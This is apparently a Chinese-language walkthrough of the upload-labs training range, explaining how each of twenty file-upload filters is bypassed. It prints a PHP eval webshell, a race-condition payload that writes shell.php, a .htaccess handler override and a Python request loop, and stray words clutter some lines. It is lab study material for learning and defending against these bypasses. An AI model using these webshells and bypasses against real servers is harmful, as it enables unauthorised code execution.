其它的writeup
https://github.com/LandGrey/upload-labs-writeupjavascript
https://cloud.tencent.com/developer/article/1377897php
https://www.360zhijia.com/anquan/442566.htmlhtml
upload-labs安裝
下載地址:https://github.com/c0ny1/upload-labs前端
準備
-
下載後將整個文件放入phpstudy目錄下便可java
-
在項目的更目錄下新建文件夾uploadpython
-
上傳的文件名不要是中文名,不然會出現上傳錯誤git
pass-1
操做
-
準備一句話木馬爲<script language="pHp">@eval($_POST['pass'])</script>github
-
上傳一句話木馬出現1.php彈出web
- 查看javascript存在前端過濾,也能看到相應代碼
- 直接刪除,上傳,上傳成功
- 若是咱們知道上傳文件的完整路徑(這裏能夠直接查看圖片得到路徑),就能夠經過蟻劍或菜刀鏈接
##原理shell
- 只是經過前端js來驗證文件類型,將js禁用便可繞過
pass-2
操做
- 同一,把過濾函數刪除,用bp截斷,上傳php,將content-type值改成image/png,上傳成功
原理
- 從源代碼能夠看到經過MIME-TYPE進行過濾,首先經過$_FILES['upload_file']['type']獲得上傳的MIME-TYPE,而後和image/png,image/jpeg進行比較
-
mime是多用途互聯網郵件擴展類型,用於設定某擴展名文件的打開方式,如.png在數據包的中的content-type爲image/png
-
$_FILES是一個全局變量數組,各個值的含義爲
$_FILES['myFile']['name'] | 上傳文件的原名稱 |
---|---|
$_FILES['myFile']['type'] | 文件的 MIME 類型 |
$_FILES['myFile']['size'] | 已上傳文件的大小,單位爲字節 |
$_FILES['myFile']['tmp_name'] | 文件被上傳後在服務端儲存的臨時文件名,通常是系統默認。能夠在php.ini的upload_tmp_dir 指定 |
$_FILES['myFile']['error'] | 和該文件上傳相關的錯誤代碼 |
pass-3
操做
將後綴名改成.php5,成功
原理
-
從源代碼看,系統利用trim()刪除了文件兩側空格,利用deldot()刪除文件名末尾的點,利用strtolower()將文件名轉換爲小寫,利用str_ireplace()去除字符串::$DATA。
-
可是隻是利用黑名單$deny_ext = array('.asp','.aspx','.php','.jsp');禁止上傳後綴爲php等的文件
-
因此能夠利用apache的解析特性:它將.php3,.php5,.phtml等均可以解析爲php
pass-4
操做
-
首先上傳文件.htaccess,內容爲stehandler application/x-httpd-php
-
接着上傳將先前的文件1.php改成1.jpg,上傳成功,並可使用蟻劍鏈接
原理
-
查看源碼,和三相似,但它的黑名單爲 $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");可是並無禁止.htaccess
-
.htaccess是apache服務器中的一個配置文件,能夠實現301重定向,自定義404錯誤頁面,改變文件擴展名,阻止或容許用戶訪問特定目錄或文件等
-
該文件可使得目錄下的全部文件都以php執行,不過前提是服務器的httpd.conf文件中的allowoverride設置爲all
pass-5
操做
- 採用大小寫繞過,上傳1.PHP
原理
- 查看源碼,發現它的黑名單沒有過濾大小寫,或利用strtolower()將文件名轉換爲小寫,因此能夠利用大小寫繞過
pass-6
操做
- 採用空格繞過,利用bp截斷,在文件名後添加空格
原理
-
查看源碼,沒有對文件名的空格去除
-
windows中文件擴展名後的空格會作空處理,可是文件名後加空格使得原本的擴展名改變,繞過黑名單
pass-7
操做
- 採用.繞過,利用bp截斷,在文件名後加.
原理
-
查看源碼,沒有去除文件名後的點
-
windows下最後一個.會被自動剔除
pass-8
操做
- 採用
::$DATA
,利用bp截斷,在文件名後加::$DATA
原理
- windows下,若是上傳的文件名後綴爲php::$DATA會在服務器生成後綴爲Php的文件,內容和上傳內容相同,並被解析
pass-9
操做
- 利用bp截斷,在文件名後加. .(點,空格,點)
原理
- 查看源碼,首先利用trim去除末尾空格,又l利用deldot去除末尾點,又去除空格,因此組合點空格點,去除點去除空格,最後剩下點自動剔除
pass-10
操做
- 利用bp截斷,將文件後綴改成.phphpp
原理
- 查看源碼,其中出現了
$file_name = str_ireplace($deny_ext,"", $file_name);
這一函數,它將上傳文件與黑名單的後綴名相同的都用空替換,因此能夠雙寫繞過phphpp中的php被替換爲空後剩下php
pass-11
操做
- 利用00截斷,首先將phpstudy的php版本切換到php5.3如下
- 再將php.ini的magic_quotes_gpc改成off
- 利用bp截斷,在保存文件路徑處添加11.php%00
原理
-
截斷漏洞,在系統對文件名讀取時,若是遇到0x00會認爲讀取結束,如:1.php0x00.jpg在上傳時認爲是jpg,但在新建該文件文件時保存爲1.php 。但在php5.3以後的版本已經修復,而且受gpc,addslashes函數影響
-
查看源碼發現,最後保存文件時是將get獲得的路徑與隨機數年月日和上傳文件名拼接到一塊兒,因此上傳文件路徑可控,咱們將get的路徑最後改成1.php0x00那麼拼接到後面的內容就會被丟棄,從而保存爲1.php
pass-12
操做
- 利用00截斷,如今此處文件名後面添加一個空格,爲了便於尋找,而後打開hex,將此處的20改成00
原理
- 與十一相同
pass-13
操做
方法一
-
上傳圖片webshell,利用文件包含漏洞
-
編寫文件13.jpg,內容爲GIF98A<?php phpinfo(); ?>上傳
-
點擊圖片查看上傳後圖片的位置名字
- 點擊此處,利用文件上傳漏洞
- 可是我這出現了個問題
- 因此我回到phpstudy把這個include.php拷貝到文件上傳的目錄upload,而後找到這個頁面
- 咱們查看這個代碼,發現他是利用get獲得文件參數,而後利用include進行文件包含,因此url處構造?file=剛纔查看上傳的文件名
原理
- 查看源碼,它是經過判斷文件的前兩個字節,來判斷是不是png等圖片,因此在上傳的php文件前加入GIF98A即會被判斷爲Gif文件
- 文件包含:在php中使用include,include_once,require,require_once函數包含的文件不管文件名稱是什麼都會被當作php代碼執行
方法二
-
利用圖片隱寫的方式,將木馬拼接到圖片圖片結束符FFD9以後,一般會忽略文件結束符以後的數據。
-
能夠利用命令copy /b 1.jpg +1.php 2.jpg獲得,其中1.jpg爲載體文件,1.php爲包含木馬的文件,2.jpg爲獲得的文件
pass-14
- 同上
pass-15
-
須要打開配置php.ini中的php_exif模塊
-
同上
pass-16
-
這一關圖片被上傳後被從新渲染,利用隱寫將木馬隱寫到FFD9後會被去除,因此該方法不能夠。下面的方法都有隨機性,須要多嘗試幾回
-
採用網上的方法一https://github.com/fakhrizulkifli/Defeating-PHP-GD-imagecreatefromjpeg嘗試了了幾回都沒有成功。
-
採用網上的方法二https://github.com/LandGrey/upload-labs-writeup嘗試了幾回最終成功
- 在此處寫入了phpinfo()
- 查看上傳處的圖片,該語句保持不變
pass-17
操做
- 利用競爭條件上傳,上傳文件,文件內容爲
<?php fputs(fopen('shell.php',w),'<?php @eval($_post["pass"]) ?>'); ?>
- 上傳文件的同時,利用腳本不斷訪問該文件
import requests while 1: requests.get("http://192.168.89.130/upload-labs/upload/15.php")
- 最後上傳目錄下會生成shell.php文件,內容爲<?php @eval($_post["pass"]) ?>
原理
- 查看源碼,文件先經過move_uploaded_file進行保存,而後用in_array判斷文件是否爲圖片類型,若是是就用rename進行重命名,若是不是,則使用unlink刪除文件。因此能夠利用這個時間差,當文件保存後,就不斷訪問該文件,使得它又生成一個shell.php,以後即便上傳文件已經刪除,shell.php仍然存在。
pass-18
不知爲啥,這一關老是沒法成功
pass-19
-
能夠將保存名稱後綴設置爲. .,同六
-
能夠設置爲.
-
能夠大寫繞過
pass-20
操做
- 利用bp截斷,上傳20.jpg
- 將post提交的數據包改成
原理
- 將源碼複製到下面,利用註釋進行分析
$is_upload = false; $msg = null; if(!empty($_FILES['upload_file'])){ //檢查MIME $allow_type = array('image/jpeg','image/png','image/gif'); if(!in_array($_FILES['upload_file']['type'],$allow_type)){//這一步是檢查上傳的文件是否爲規定的類型 $msg = "禁止上傳該類型文件!"; }else{ //檢查文件名 $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];//若是經過post傳遞的參數save_name爲空,$file就爲上傳文件原本的名字的值,不然爲post傳遞的save_name的值 if (!is_array($file)) {//由於咱們都是填寫了保存名稱,即用post傳遞了save_name的值,因此這裏判斷咱們填寫的保存名稱是否爲一個數組 $file = explode('.', strtolower($file));//不是一個數組就利用.對文件名進行分割 } $ext = end($file);//數組最後一個值即文件後綴名給$ext $allow_suffix = array('jpg','png','gif'); if (!in_array($ext, $allow_suffix)) {//再一次進行判斷是否爲容許上傳的類型 $msg = "禁止上傳該後綴文件!"; }else{ $file_name = reset($file) . '.' . $file[count($file) - 1];//將數組count($file)-1的值給了$file_name,最後拼接到數組第一個元素後後,reset()爲將讀取數組第一個元素 $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' .$file_name; if (move_uploaded_file($temp_file, $img_path)) { $msg = "文件上傳成功!"; $is_upload = true; } else { $msg = "文件上傳失敗!"; } } } }else{ $msg = "請選擇要上傳的文件!"; }
- 經過以上分析,能夠知道,它用end()讀取最後數組最後一個值來進行過濾,又將$file[count($file) - 1]的值拼接到數組第一個元素後後,因此能夠上傳save_name爲一個數組,數組第一個元素爲*.php,第二個元素爲空,第三個元素爲jpg。此時利用jpg經過判斷,將空拼接到.php後文件仍爲.php
最後
-
終於寫完了,其中可能有不少錯誤不足的地方,還請指正
-
https://github.com/c0ny1/upload-labs裏有兩張很清晰的導圖,詳細地總結了靶機包含漏洞類型和如何對上傳漏洞進行判斷
-
也歡迎查看我的寫的文件上傳的一個小總結https://www.cnblogs.com/Qi-Lin/p/11297452.html